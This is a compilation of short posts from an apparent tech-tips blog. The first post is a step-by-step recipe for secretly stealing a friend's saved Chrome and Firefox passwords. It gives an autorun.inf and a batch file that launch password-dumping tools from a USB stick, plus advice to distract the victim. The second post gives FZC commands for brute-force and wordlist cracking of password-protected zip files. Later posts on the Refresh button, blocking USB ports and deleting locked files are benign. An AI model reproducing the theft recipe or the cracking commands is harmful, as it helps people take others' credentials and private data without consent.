Stealing Passwords Has Never Been So Easy

Stealing Passwords Has Never Been So Easy

Nandit Bansal

By Nandit Bansal

Legend has it that a false friend is more dangerous than an actual enemy . If you follow the steps which I’ll be listing ahead, you can easily be that false friend . Well, jokes apart, this article will teach you how to steal your friend’s saved passwords with a quick plug of a USB.
You shall need the following software setups(easily available) loaded onto your pen drive:

ChromePass.exe – Get it from HERE
passwordfox.exe – Get it from HERE

Now follow these simple steps:

  • Open notepad and type the following:[autorun] open=usb.bat
    Save this file on your USB drive and rename it to autorun.inf
  • Create another notepad and ‘type’ the following contents:
    start passwordfox.exe/stext passwordfox.exe
    start ChromePass.exe/stext Chromepass.exe
    Save this file and rename it to usb.bat and store it in your USB drive.
    A word of caution here, please make sure that the names of the software setups are the same as you typed in your notepad(it is case sensitive too).
    Voila ! Your USB is ready now.
  • Just plug it into your friend’s computer. Go to your USB drive and click on Chromepass and other such files and they will display the passwords that are saved on the respective browsers. For example, Chromepass will display passwords saved on Google Chrome and passwordfox for MF.
    We have told you the trick to fetch passwords from the most modern browsers. If you wish to explore internet explorer(pun intended), there is iepv.exe

Another word of caution: While you perform step 3 on your friend’s PC, it is advised to ask him to fetch you a cup of coffee or something.

How To Crack Zip Files

How To Crack Zip Files

Praful Pandey

By Praful Pandey

Have a zip file with a password? This post will surely help you. All you need is to scroll down and follow the guide.

Tutorial On Cracking Zip Password Files.
What is FZC? FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you’re going to need a password to open the zip file and extract files out of it). You can get it anywhere – just use a search engine such as altavista.com.
FZC uses multiple methods of cracking – Bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords consistently, the program takes passwords out of a “wordlist,” which is a text file that contains possible passwords. You can get lots of word lists at www.theargon.com.).
FZC can be used to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you’re not supposed to have. So like every tool, this one can be utilized for good and for evil.
The first thing I want to say is that reading this tutorial… is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase “check name.txt” often in this text. These files should be in FZC’s directory. They contain more information about FZC.
FZC is a useful password recovery tool, because it’s very fast and also support resuming so you don’t have to keep the computer turned on until you get the password like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything – a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 characters is the maximum value that FZC will accept, but it doesn’t really matter, because in order to brute force a password with 32 chars you’ll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.
FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don’t require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.
Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait… and wait… and wait…and have good thoughts like “In wordlist mode I’m gonna get the password in minutes” or something like this… you start doing all this and remember “Hey this guy started with all this bullshit and didn’t say how I can start a wordlist attack!…” So please wait just a little more, read this tutorial ’till the end and you can do all this “bullshit”.
We need to keep in mind that are some people might choose some really weird passwords (for example: ‘e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won’t help you anymore. Instead, you’ll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won’t get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB’s list and start using the Brute Force attack.
If you have some sort of a really fast and new computer and you’re afraid that you won’t be able to use your computer’s power to the fullest because the zip cracker doesn’t support this kind of technology, it’s your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.
Now that we’ve gone through all the theoretical stuff, let’s get to the actual commands.
Bruteforce (Many of you might have heard of it)
The command line you’ll need to use for using brute force is:
fzc -mb -nzFile.zip -lChr Lenght -cType of chars
Now if you read the bforce.txt that comes with fzc you’ll find the description of how works Chr Lenght and the Type of chars, but hey, I’m gonna explain this too. Why not, right?… (but remember look at the bforce.txt too)
For Chr Lenght you can use 4 kind of switches…

-> You can use range -> 4-6: it would brute force from 4 Chr passwors to 6 chr passwords
-> You can use just one lenght -> 5: it would just brute force using passwords with 5 chars
-> You can use also the all number -> 0: it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don’t think that you would do this…. if you are thinking of doing this get a live…
-> You can use the + sign with a number -> 3+: in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option…

For the Type of chars we have 5 switches they are:
-> a for using lowercase letters
-> A for using uppercase letters
-> ! for using simbols (check the Bforce.txt if you want to see what simbols)
-> s for using space
-> 1 for using numbers
Example:
If you want to find a password with lowercase and numbers by brute force you would just do something like:
fzc -mb -nzTest.zip -l4-7 -ca1
This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.
hint
You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn’t work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.
Wordlis
Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I’m not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I’m going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.
To start a wordlist attak you’ll do something like.
fzc -mwMode number -nzFile.zip -nwWordlist
Where:
Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.
File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn’t in the same directory of FZC you’ll need to give the all path.
You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.
So if you something like
fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+
FZC would just start reading at line 50 and would just read with length >= to 9.
Example:
If you want to crack a file called myfile.zip using the “theargonlistserver1.txt” wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:
fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50
Resuming
Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).
To resume the bruteforce attack you just need to do:
fzc -mr
And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.
But if you want to resume a wordlist attack you’ll need to start a new wordlist attack, saying where it’s gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you’ll type
fzc -mw3 -nzfile.zip -nwwordlist.txt -f100
Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.

Ever Wondered What A Refresh Button Does ?

Ever Wondered What A Refresh Button Does ?

Ashtam Singh

By Ashtam Singh

Did you ever think about how many time’s you use “Refresh” button while operating a Windows computer? Does it refresh your Windows OS and keep it running smoothly? Does it make your Windows faster? Or maybe you think it will clear your computer’s memory or refresh the RAM…?It’s none of these!

refresh button

So what is the aim of the Refresh button??

When you click Refresh on your desktop, then desktop works as a folder in the Windows operating system. In windows, Folder’s were programmed to auto refresh when its content’s change and when you find that auto refresh is not working then you manually refresh it.

Some of the circumstances when you need to refresh your desktop manually:-

1. While aligning your icons on the desktop (Folder).

2. When desktop does not show your files which you have just moved, deleted, renamed, or saved, etc.

3. When files do not come up which were created by the 3rd party apps.

You can use the shortcut F5 or use
“Refresh” button manually by right clicking your mouse button.

After reading this article your views might change about Refresh button and now maybe you can stop using refresh button more frequently.

Block USB Port To Avoid Datastealing

Block USB Port To Avoid Datastealing

Sarthak Verma

By Sarthak Verma

Hello,

Many people feel the insecurity whenever someone else uses their computer, especially without any prior information. It is mainly because one might have some data which he/she don’t want to be seen by anyone else.A big amount of data is mainly transferred through USB ports.This is because of the high rate of transfer through USB and so if you also want to protect your data then you can do so by blocking your USB ports.

These are some methods to block USB ports:-

# 1: Block USB port by changing the registry

In this, we change the registry values in order to block the USB port in windows, the process is very simple and here are the steps:-

  • Step 1: From your desktop press Windows button + R that is Win+R.
  • Step 2: A “run” window will be opened and in that type “Regedit”.
block usb port
  • Step 3: Soon the Registry Editor window will be opened in which follow these steps:-

A) At left-hand side in Computer option go to HIKEY_LOCAL_MACHINE.

B) Then SYSTEM

C) Then CURRENT CONTROL SET

D) Then SERVICE

E) Then USBSTOR

usb blocking
  • Step 4: Within “USBSTOR”, you will see START at the right side of the Registry Editor window in the column of NAME.
usb blocking
  • Step 5: Double Click on START and a small window will be opened.
usb blocking
  • Step 6: Now write 4 in Value data to disable USB port and if afterward, you need to enable it, change it back to 3.
usb blocking
  • Step 7: Now click on OK and close the Registry Editor window.

Voila, you’ve successfully blocked your USB port.

If this method didn’t worked for you, don’t get sad.Let’s try together once again following the second method.

# 2: Block USB Port By Disabling USB Device Manager,

This method works positively because in this we directly access USB ports. The steps are as follows:-

  • Step 1: From Desktop, Right Click on My Computer and select Manage.
  • Step 2: A new window will be opened and at the top of that window Computer Management should be written.
  • Step 3: Now click on System Tools, and choose Device Manager.
  • Step 4: In Device Manager look for Universal Serial Bus Controllers(USBC).

.

usb blocking
  • Step 5: Right click on every USBC and disable all the drivers
usb blocking
  • Step 6: Restart the computer, if needed.

Congrats! You’ve successfully done it.

How To Delete An Undeletable File

How To Delete An Undeletable File

Praful Pandey

By Praful Pandey

Wanna Delete An “undeletable” File? You can do this by 2 Methods.

 #Method 1

  • Open a Command Prompt window and leave it open.
  • Close all open programs.
  • Open Run window and enter TASKMGR.EXE
  • Go to the Processes tab and End Process on Explorer.exe.
  • Leave Task Manager open.
  • Go back to the Command Prompt window and change to the directory the AVI (or any other undeletable file) is located in.
  • At the command prompt type DEL <filename> ( Replace <filename> with the name of the file which you want to delete).
  • Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
  • Close Task Manager.

#Method 2

  • Open Notepad.exe
  • Click File>Save As..>
  • Locate the folder where your undeletable file is
  • Choose ‘All files’ from the file type box
  • Click once on the file you want to delete so its name appears in the ‘filename’ box
  • Put a ” at the start and end of the filename(the filename should have the extension of the undeletable file so it will overwrite it).
  • Click save,
  • It should ask you to overwrite the existing file, choose yes and you can delete it as normal
Here’s a manual way of doing it. I’ll take this off once you put into your first post zain.
1. Start
2. Run
3. Type: command
4. To move into a directory type: cd c:\*** (The stars stand for your folder)
5. If you cannot access the folder because it has spaces for example -Program Files or Kazaa Lite folder you have to do the following.
 Instead of typing in the full folder name only take the first six letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1
6. Once your in the folder the non-deletable file it in type in dir – a list will come up with everything inside.
7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc… And if the file name has spaces you would use the special 1st six letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.
